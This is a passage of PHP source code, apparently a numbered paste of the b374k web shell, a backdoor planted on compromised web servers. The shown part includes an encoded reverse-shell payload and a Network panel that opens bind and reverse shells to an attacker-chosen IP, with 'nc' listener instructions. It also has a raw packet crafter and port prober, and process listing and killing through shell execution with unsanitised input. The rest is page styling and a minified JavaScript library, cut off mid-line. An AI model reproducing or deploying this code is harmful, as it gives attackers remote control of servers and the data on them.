  2074. $GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtno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Jv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=";
  2076.  
  2077. $GLOBALS['module']['network']['id'] = "network";
  2078. $GLOBALS['module']['network']['title'] = "Network";
  2079. $GLOBALS['module']['network']['js_ontabselected'] = "";
  2080. $GLOBALS['module']['network']['content'] = "
  2081. <table class='boxtbl'>
  2082. <thead>
  2083.     <tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
  2084. </thead>
  2085. <tbody>
  2086.     <tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
  2087.     <tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
  2088. </tbody>
  2089. <tfoot>
  2090.     <tr>
  2091.         <td style='width:144px;'>
  2092.             <select id='bindLang' class='rsType'>
  2093.                 ".$winbinary."
  2094.             </select>
  2095.         </td>
  2096.         <td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td>
  2097.     </tr>
  2098.     <tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>
  2099. </tfoot>
  2100. </table>
  2101. <br>
  2102. <table class='boxtbl'>
  2103. <thead>
  2104.     <tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
  2105. </thead>
  2106. <tbody>
  2107.     <tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
  2108.     <tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
  2109. </tbody>
  2110. <tfoot>
  2111.     <tr>
  2112.         <td style='width:144px;'>
  2113.             <select id='backLang' class='rsType'>
  2114.                 ".$winbinary."
  2115.             </select>
  2116.         </td>
  2117.         <td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td>
  2118.     </tr>
  2119.     <tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>
  2120. </tfoot>
  2121. </table>
  2122. <br>
  2123. <table class='boxtbl'>
  2124. <thead>
  2125.     <tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>
  2126. </thead>
  2127. <tbody>
  2128.     <tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2129.     <tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2130.     <tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2131.     <tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2132.     <tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2133. </tbody>
  2134. <tfoot>
  2135.     <tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr>
  2136.     <tr>
  2137.         <td>
  2138.             <span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span>
  2139.         </td>
  2140.         <td>You can also press ctrl+enter to submit</td>
  2141.     </tr>
  2142.     <tr><td colspan='2'><div id='packetResult'></div></td></tr>
  2143. </tfoot>
  2144. </table>
  2145. ";
  2146.  
  2147.  
  2148. if(isset($p['rsLang']) && isset($p['rsArgs'])){
  2149.     $rsLang = $p['rsLang'];
  2150.     $rsArgs = $p['rsArgs'];
  2151.     $res = "";
  2152.  
  2153.     if($rsLang=="php"){
  2154.         $code = get_resource("rs_".$rsLang);
  2155.         if($code!==false){
  2156.             $code = "\$target = \"".$rsArgs."\"; ?>".$code;
  2157.             $res = eval_go($rsLang, $code, "", "");
  2158.         }
  2159.     }
  2160.     else{
  2161.         $code = get_resource("rs_".$rsLang);
  2162.         if($code!==false){
  2163.             $res = eval_go($rsLang, $code, "", $rsArgs);
  2164.         }
  2165.     }
  2166.  
  2167.     if($res===false) $res == "error";
  2168.     output(html_safe($res));
  2169. }
  2170. elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
  2171.     $packetHost = trim($p['packetHost']);
  2172.     if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
  2173.  
  2174.     $packetPort = (int) $p['packetPort'];
  2175.  
  2176.     $packetTimeout = (int) $p['packetTimeout'];
  2177.     $packetSTimeout = (int) $p['packetSTimeout'];
  2178.  
  2179.     $packetContent = $p['packetContent'];
  2180.     if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
  2181.     else{
  2182.         $packetContent = str_replace(array("\r","\n"), "", $packetContent);
  2183.         $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
  2184.     }
  2185.  
  2186.     $res = "";
  2187.  
  2188.  
  2189.     $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
  2190.     if(!$sock){
  2191.         $res .= "<div class='weak'>";
  2192.         $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>";
  2193.     }
  2194.     else{
  2195.         stream_set_timeout($sock, $packetSTimeout);
  2196.         fwrite($sock, $packetContent."\r\n\r\n\x00");
  2197.         $counter = 0;
  2198.         $maxtry = 1;
  2199.         $bin = "";
  2200.         do{
  2201.             $line = fgets($sock, 1024);
  2202.             if(trim($line)=="") $counter++;
  2203.             $bin .= $line;
  2204.         }while($counter<$maxtry);
  2205.         fclose($sock);
  2206.         $res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-height:140px;'>".html_safe($bin)."</textarea></td></tr>";
  2207.         $res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex($bin)."</textarea></td></tr></table>";
  2208.     }
  2209.  
  2210.     output($res);
  2211. }
  2212.  
  2213. $GLOBALS['module']['processes']['id'] = "processes";
  2214. $GLOBALS['module']['processes']['title'] = "Processes";
  2215. $GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
  2216. $GLOBALS['module']['processes']['content'] = "";
  2217.  
  2218. if(!function_exists('show_processes')){
  2219.     function show_processes(){
  2220.         $output = '';
  2221.         $wcount = 11;
  2222.         if(is_win()){
  2223.             $cmd = "tasklist /V /FO csv";
  2224.             $wexplode = "\",\"";
  2225.         }
  2226.         else{
  2227.             $cmd = "ps aux";
  2228.             $wexplode = " ";
  2229.         }
  2230.  
  2231.         $res = execute($cmd);
  2232.         if(trim($res)=='') return false;
  2233.         else{
  2234.             $output .= "<table id='psTable' class='dataView sortable'>";
  2235.             if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
  2236.  
  2237.             $psarr = explode("\n",$res);
  2238.             $fi = true;
  2239.             $tblcount = 0;
  2240.  
  2241.             $check = explode($wexplode,$psarr[0]);
  2242.             $wcount = count($check);
  2243.  
  2244.             foreach($psarr as $psa){
  2245.                 if(trim($psa)!=''){
  2246.                     if($fi){
  2247.                         $fi = false;
  2248.                         $psln = explode($wexplode, $psa, $wcount);
  2249.                         $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>";
  2250.                         foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\"")."</th>";
  2251.                         $output .= "</tr>";
  2252.                     }
  2253.                     else{
  2254.                         $psln = explode($wexplode, $psa, $wcount);
  2255.                         $pid = trim(trim($psln[1]),"\"");
  2256.                         $tblcount = 0;
  2257.                         $output .= "<tr data-pid='".$pid."'>";
  2258.  
  2259.                         foreach($psln as $p){
  2260.                             if(trim($p)=="") $p = " ";
  2261.                             $p = trim(trim($p) ,"\"");
  2262.                             $p = html_safe($p);
  2263.                             if($tblcount == 0){
  2264.                                 $output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>";
  2265.                                 $tblcount++;
  2266.                             }
  2267.                             else{
  2268.                                 $tblcount++;
  2269.                                 if($tblcount == count($psln)) $output .= "<td style='text-align:left;'>".$p."</td>";
  2270.                                 else $output .= "<td style='text-align:center;'>".$p."</td>";
  2271.                             }
  2272.                         }
  2273.                         $output .= "</tr>";
  2274.                     }
  2275.                 }
  2276.             }
  2277.             $colspan = count($psln)+1;
  2278.             $colspanAll = $colspan+1;
  2279.             $output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>";
  2280.         }
  2281.         return $output;
  2282.     }
  2283. }
  2284.  
  2285.  
  2286. if(isset($p['showProcesses'])){
  2287.     $processes = show_processes();
  2288.     if($processes!==false) output($processes);
  2289.     output('error');
  2290. }
  2291. elseif(isset($p['allPid'])){
  2292.     $allPid = explode(" ", $p['allPid']);
  2293.     $counter = 0;
  2294.     foreach($allPid as $pid){
  2295.         $pid = trim($pid);
  2296.         if(!empty($pid)){
  2297.             if(function_exists("posix_kill")){
  2298.                 if(posix_kill($pid,'9')) $counter++;
  2299.             }
  2300.             else{
  2301.                 if(is_win()){
  2302.                     $cmd = execute("taskkill /F /PID ".$pid);
  2303.                     $cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
  2304.                     if(strpos($cmd,"No tasks are running")!==false) $counter++;
  2305.                 }
  2306.                 else{
  2307.                     $cmd = execute("kill -9 ".$pid);
  2308.                     if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
  2309.                         $cmd = trim(execute("ps -p ".$pid));
  2310.                         $check = explode("\n", $cmd);
  2311.                         if(count($check)==1) $counter++;
  2312.                     }
  2313.                 }
  2314.             }
  2315.         }
  2316.     }
  2317.     if($counter>0) output($counter);
  2318.     else output('error');
  2319. }
  2320.  
  2321. $error = @ob_get_contents();
  2322.     $error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("\n\n", "\n", html_safe($error))."</pre>":"";
  2323.     @ob_end_clean();
  2324.     error_reporting(0);
  2325.     @ini_set('display_errors','0');
  2326.  
  2327.  
  2328. ?><!doctype html>
  2329. <html>
  2330. <head>
  2331. <title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
  2332. <meta charset='utf-8'>
  2333. <meta name='robots' content='noindex, nofollow, noarchive'>
  2334. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
  2335. <link rel='SHORTCUT ICON' href='<?php echo get_resource('b374k');?>'>
  2336. <style type="text/css">
  2337. @font-face {
  2338.     font-family:'ubuntumono';
  2339.     src:url(data:application/x-font-woff;charset=utf-8;base64,d09GRgABAAAAAGkYAA8AAAAAp+gAAQABAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAABWAAAABwAAAAcXhqiC09TLzIAAAF0AAAAXAAAAGCIf+2fY21hcAAAAdAAAAGQAAAB8qDpr+VjdnQgAAADYAAAAI4AAAIIC3AUx2ZwZ20AAAPwAAADewAABiN2vUTEZ2FzcAAAB2wAAAAIAAAACP//AANnbHlmAAAHdAAAWX4AAI8gtk/BKGhlYWQAAGD0AAAAMgAAADb2ffhhaGhlYQAAYSgAAAAdAAAAJAU1Ap5obXR4AABhSAAAAQ8AAAG8JqQbMGxvY2EAAGJYAAABtgAAAbbgHbwybWF4cAAAZBAAAAAgAAAAIAb/CJx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/D2Nc8IyGca3hEFYq003DoUNm1XDI7PLcNNfr1YUqOFHPdXlqfl7wx+98M/sH4qgLH3gBXMFDYgMBAADA2a2trW3btt3G/kw+mc8k98wIgWpZhEC9CgKhBo2aNGvRqk27Dp26dOvRq0+/AZFBQ4aNGDVm3IRJU6bNmDVn3oJFS5atWLVm3YZNW7bt2LVn34FDR46dOHXm3IVLV67duHXn3oNHT569ePXm3YdPX779+PXnX0xcQlJKWkZWTl5BUalGEFz0AgAGAAB9n/ydurubacaYjRNTFzadM3HAdE3bOOvps/fEhQgjGjRa0+tRk07t+o0ZDZHa3KnX48u3Dn1abHrwacC4Xz/+DJuwZ8ekeAm6JDqQZNe+E4eOHHuS7NypM1NSfOh25cKlVC/etEqXJkOWTNkG5ciTK1+BIoWKlXhWqlyZClUqLRtSo1qtOq/erbg2bcaNe7dmzVm0ZMu8BduarduwGqJCdIgJseF/HIyc7KV5mQYGjgZQ2oUnLb+0qLi0ILUoM7+IxbW0KB8kY2RkaAqiXQ3c3MC0m5sLiHYzMDAAAFHEcrt4ATWMz0rzQBTFZ77wFRdFRaGIEIKKm2bTR4gdDLFBaJtebRpjO2rUfYoYEKqWSv3TNooiKKLQB+gUN8GNvoGv4M7H0FtqL5d7zpzfYbTx526v+097mp3TH4OkEv18aPGH+JR+HxjKnT8MCrcY3PjTyrVvKB1stRFeIbzE9wnqRT2pnJ8ZShNZA1kdu6eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwB0rMBhFhLUMnPNya1/GkFKeTPMUrPOSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUFgZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format('woff');
  2340.     font-weight: normal;
  2341.     font-style: normal;
  2342. }
  2343. *{
  2344.     font-family:ubuntumono;
  2345.     margin:0;
  2346.     padding:0;
  2347.     border:0;
  2348.     -webkit-box-sizing:border-box;
  2349.     -moz-box-sizing:border-box;
  2350.     box-sizing:border-box;
  2351.     font-size:12px;
  2352.     font-weight:normal;
  2353. }
  2354. input:focus, select:focus, textarea:focus, button:focus{
  2355.     outline:none;
  2356. }
  2357. html, body{
  2358.     width:100%;
  2359.     height:100%;
  2360.     color:#222222;
  2361. }
  2362. body{
  2363.     background:#f0f0f0;
  2364.     line-height:17px;
  2365. }
  2366. a{
  2367.     text-decoration:none;
  2368.     color:#000000;
  2369. }
  2370. a:hover{
  2371.     cursor:pointer;
  2372. }
  2373. p{
  2374.     padding:8px 0;
  2375. }
  2376. img{
  2377.     vertical-align:middle;
  2378. }
  2379. table{
  2380.     width:100%;
  2381. }
  2382. table td, table th{
  2383.     vertical-align:middle;
  2384.     padding:8px;
  2385. }
  2386. textarea, input, select{
  2387.     background:#ffffff;
  2388.     padding:8px;
  2389.     border-radius:8px;
  2390.     color:#111111;
  2391.     border:1px solid #dddddd;
  2392. }
  2393. textarea{
  2394.     resize:vertical;
  2395.     width:100%;
  2396.     height:300px;
  2397.     min-height:300px;
  2398.     max-width:100%;
  2399.     min-width:100%;
  2400. }
  2401. hr{
  2402.     margin:8px 0;
  2403.     border-bottom:1px dashed #dddddd;
  2404. }
  2405. video{
  2406.     width:100%;
  2407.     background:#222222;
  2408.     border-radius:8px;
  2409. }
  2410. h1, h2{
  2411.     background:#E7E7E7;
  2412.     border-bottom: 1px solid #cccccc;
  2413.     color:#000000;
  2414.     border-radius:8px;
  2415.     text-align:center;
  2416.     cursor:pointer;
  2417.     padding:8px;
  2418.     margin-bottom:8px;
  2419. }
  2420. h1 a, h2 a{
  2421.     color:#000000;
  2422. }
  2423. pre, #viewFilecontent{
  2424.     word-break:break-all;
  2425.     word-wrap:break-word;
  2426. }
  2427. pre{
  2428.     white-space:pre-wrap;
  2429. }
  2430. #b374k{
  2431.     cursor:pointer;
  2432. }
  2433. #header{
  2434.     width:100%;
  2435.     position:fixed;
  2436. }
  2437. #headerNav{
  2438.     padding:10px 8px 6px 8px;
  2439.     background:#333333;
  2440. }
  2441. #headerNav img{
  2442.     margin:0 4px;
  2443. }
  2444. #headerNav a{
  2445.     color:#efefef;
  2446. }
  2447. #menu{
  2448.     background:#7C94A8;
  2449.     height:33px;
  2450.     border-bottom:3px solid #CCCFD1;
  2451. }
  2452. #menu .menuitem{
  2453.     padding:7px 12px 6px 12px;
  2454.     float:left;
  2455.     height:30px;
  2456.     background:#7C94A8;
  2457.     color:#ffffff;
  2458.     cursor:pointer;
  2459. }
  2460. #menu .menuitem:hover, #menu .menuitemSelected{
  2461.     background:#768999;
  2462.     color:#ffffff;
  2463. }
  2464. #menu .menuitemSelected{
  2465.     background:#768999;
  2466. }
  2467. #basicInfo{
  2468.     width:100%;
  2469.     padding:8px;
  2470.     border-bottom:1px dashed #dddddd;
  2471. }
  2472. #content{
  2473.     background:#f0f0f0;
  2474.     height:100%;
  2475.     padding:66px 8px 8px 8px;
  2476. }
  2477. #content .menucontent{
  2478.     background:#f0f0f0;
  2479.     clear:both;
  2480.     display:none;
  2481.     padding:8px;
  2482.     overflow-x:auto;
  2483.     overflow-y:hidden;
  2484. }
  2485. #overlay{
  2486.     position:fixed;
  2487.     top:0px;
  2488.     left:0px;
  2489.     width:100%;
  2490.     height:100%;
  2491.     display:none;
  2492. }
  2493. #loading{
  2494.     width:64px;
  2495.     height:64px;
  2496.     background:#7C94A8;
  2497.     border-radius:32px 0 32px 0;
  2498.     margin:auto;
  2499.     vertical-align:middle;
  2500. }
  2501. #ulDragNDrop{
  2502.     padding:32px 0;
  2503.     text-align:center;
  2504.     background:#7C94A8;
  2505.     border-radius:8px;
  2506.     color:#ebebeb;
  2507. }
  2508. #form{
  2509.     display:none;
  2510. }
  2511. #devTitle{
  2512.     background:#ebebeb;
  2513. }
  2514. .box{
  2515.     min-width:50%;
  2516.     border:1px solid #dddddd;
  2517.     padding:8px 8px 0 8px;
  2518.     border-radius:8px;
  2519.     position:fixed;
  2520.     background:#ebebeb;
  2521.     opacity:1;
  2522.     box-shadow:1px 1px 25px #150f0f;
  2523.     opacity:0.98;
  2524. }
  2525. .boxtitle{
  2526.     background:#dddddd;
  2527.     border: 1px solid #cccccc;
  2528.     color:#000000;
  2529.     border-radius:8px;
  2530.     text-align:center;
  2531.     cursor:pointer;
  2532. }
  2533. .boxtitle a, .boxtitle a:hover{
  2534.     color:#000000;
  2535. }
  2536. .boxcontent{
  2537.     padding:2px 0 2px 0;
  2538. }
  2539. .boxresult{
  2540.     padding:4px 10px 6px 10px;
  2541.     border-top:1px solid #dddddd;
  2542.     margin-top:4px;
  2543.     text-align:center;
  2544. }
  2545. .boxtbl{
  2546.     border:1px solid #dddddd;
  2547.     border-radius:8px;
  2548.     padding-bottom:8px;
  2549.     background:#ebebeb;
  2550. }
  2551. .boxtbl td{
  2552.     vertical-align:middle;
  2553.     padding:8px 15px;
  2554.     border-bottom:1px dashed #dddddd;
  2555. }
  2556. .boxtbl input, .boxtbl select, .boxtbl .button{
  2557.     width:100%;
  2558. }
  2559. .boxlabel{
  2560.     text-align: center;
  2561.     border-bottom:1px solid #dddddd;
  2562.     padding-bottom:8px;
  2563. }
  2564. .boxclose{
  2565.     background:#222222;
  2566.     border-radius:3px;
  2567.     margin-right:8px;
  2568.     margin-top:-3px;
  2569.     padding:2px 8px;
  2570.     cursor:pointer;
  2571.     color:#ffffff;
  2572. }
  2573. .strong{
  2574.     color:#7C94A8;
  2575.     text-shadow:0px 0px 1px #C0DCF5;
  2576. }
  2577. .weak{
  2578.     color:#666666;
  2579. }
  2580. .button{
  2581.     min-width:120px;
  2582.     width:120px;
  2583.     margin:2px;
  2584.     color:#ffffff;
  2585.     background:#7C94A8;
  2586.     border:none;
  2587.     padding:8px;
  2588.     border-radius:8px;
  2589.     display:block;
  2590.     text-align:center;
  2591.     float:left;
  2592.     cursor:pointer;
  2593. }
  2594. .button:hover, #ulDragNDrop:hover{
  2595.     background:#768999;
  2596. }
  2597. .floatLeft{
  2598.     float:left;
  2599. }
  2600. .floatRight{
  2601.     float:right;
  2602. }
  2603. .colFit{
  2604.     width:1px;
  2605.     white-space:nowrap;
  2606. }
  2607. .colSpan{
  2608.     width:100%;
  2609. }
  2610. .border{
  2611.     border:1px solid #dddddd;
  2612.     background:#ebebeb;
  2613.     border-radius:8px;
  2614.     padding:8px;
  2615. }
  2616. .borderbottom{
  2617.     border-bottom:1px dashed #dddddd;
  2618. }
  2619. .borderright{
  2620.     border-right:1px dashed #dddddd;
  2621. }
  2622. .borderleft{
  2623.     border-left:1px dashed #dddddd;
  2624. }
  2625. .hr td{
  2626.     border-bottom:1px dashed #dddddd;
  2627. }
  2628. .cBox, .cBoxAll{
  2629.     width:10px;
  2630.     height:10px;
  2631.     border:1px solid #7C94A8;
  2632.     border-radius:5px;
  2633.     margin:auto;
  2634.     float:left;
  2635.     margin:3px 6px 2px 6px;
  2636.     cursor:pointer;
  2637. }
  2638. .cBoxSelected{
  2639.     background:#7C94A8;
  2640. }
  2641. .action, .actionfolder, .actiondot{
  2642.     cursor:pointer;
  2643. }
  2644. .phpError{
  2645.     padding:8px;
  2646.     margin:8px 0;
  2647.     text-align:center;
  2648. }
  2649. .dataView td, .dataView th, #viewFile td{
  2650.     vertical-align:top;
  2651.     border-bottom:1px dashed #dddddd;
  2652. }
  2653. .dataView tbody tr:hover{
  2654.     background:#ebebeb;
  2655. }
  2656. .dataView th{
  2657.     vertical-align:middle;
  2658.     border-bottom:0;
  2659.     background:#e0e0e0;
  2660. }
  2661. .dataView tfoot td{
  2662.     vertical-align:middle;
  2663. }
  2664. .dataView .col-cbox{
  2665.     text-align:center;
  2666.     width:20px;
  2667. }
  2668. .dataView .col-size{
  2669.     width:70px;
  2670. }
  2671. #xplTable tr>td:nth-child(3){
  2672.     text-align:left;
  2673. }
  2674. #xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
  2675.     text-align:center;
  2676. }
  2677. .dataView .col-owner{
  2678.     width:140px;
  2679.     min-width:140px;
  2680.     text-align:center;
  2681. }
  2682. .dataView .col-perms{
  2683.     width:80px;
  2684.     text-align:center;
  2685. }
  2686. .dataView .col-modified{
  2687.     width:150px;
  2688.     text-align:center;
  2689. }
  2690. .sortable th{
  2691.     cursor:pointer;
  2692. }
  2693. #xplTable td{
  2694.     white-space:nowrap;
  2695. }
  2696. #viewFile td{
  2697.     text-align:left;
  2698. }
  2699. #viewFilecontent{
  2700.     padding:8px;
  2701.     border:1px solid #dddddd;
  2702.     border-radius:8px;
  2703. }
  2704. #terminalPrompt td{
  2705.     padding:0;
  2706. }
  2707. #terminalInput{
  2708.     background:none;
  2709.     border:none;
  2710.     padding:0;
  2711.     width:100%;
  2712. }
  2713. #evalAdditional{
  2714.     display:none;
  2715. }
  2716. .hl_default{
  2717.     color:#517797;
  2718. }
  2719. .hl_keyword{
  2720.     color:#00BB00;
  2721. }
  2722. .hl_string{
  2723.     color:#000000;
  2724. }
  2725. .hl_html{
  2726.     color:#CE5403;
  2727. }
  2728. .hl_comment{
  2729.     color:#7F9F7F;
  2730. }
  2731. #navigation{position:fixed;left:-16px;top:46%;}
  2732. #totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
  2733. #totop:hover,#tobottom:hover{opacity:0.80;}
  2734. #toggleBasicInfo{display:none;float:right;margin:0;}
  2735. #basicInfoSplitter{display:none;}
  2736. #tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
  2737. #showinfo{float:right;display:none;}
  2738. #logout{float:right;}
  2739. </style>
  2740. </head>
  2741. <body>
  2742. <!--wrapper start-->
  2743. <div id='wrapper'>
  2744.     <!--header start-->
  2745.     <div id='header'>
  2746.         <!--header info start-->
  2747.         <div id='headerNav'>
  2748.             <span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
  2749.             <img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span>
  2750.  
  2751.             <a class='boxclose' id='logout' title='log out'>x</a>
  2752.             <a class='boxclose' id='showinfo' title='show info'>v</a>
  2753.         </div>
  2754.         <!--header info end-->
  2755.  
  2756.         <!--menu start-->
  2757.         <div id='menu'>
  2758.             <?php
  2759.                 foreach($GLOBALS['module_to_load'] as $k){
  2760.                     echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";
  2761.                 }
  2762.             ?>
  2763.         </div>
  2764.         <!--menu end-->
  2765.  
  2766.     </div>
  2767.     <!--header end-->
  2768.  
  2769.     <!--content start-->
  2770.     <div id='content'>
  2771.         <!--server info start-->
  2772.         <div id='basicInfo'>
  2773.             <div id='toggleBasicInfo'></div>
  2774.             <?php
  2775.             echo $error_html;
  2776.             foreach(get_server_info() as $k=>$v){
  2777.                 echo "<div>".$v."</div>";
  2778.             }
  2779.             ?>
  2780.         </div>
  2781.         <!--server info end-->
  2782.  
  2783.         <?php
  2784.             foreach($GLOBALS['module_to_load'] as $k){
  2785.                 $content = $GLOBALS['module'][$k]['content'];
  2786.                 echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";
  2787.             }
  2788.         ?>
  2789.     </div>
  2790.     <!--content end-->
  2791.  
  2792. </div>
  2793. <!--wrapper end-->
  2794. <div id='navigation'>
  2795.     <div id='totop'></div>
  2796.     <div id='tobottom'></div>
  2797. </div>
  2798. <table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
  2799. <form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
  2800. <!--script start-->
  2801. <script type='text/javascript'>
  2802. var targeturl = '<?php echo get_self(); ?>';
  2803. var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
  2804. var win = <?php echo (is_win())?'true':'false';?>;
  2805. var init_shell = true;
  2806. /* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
  2807. var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var 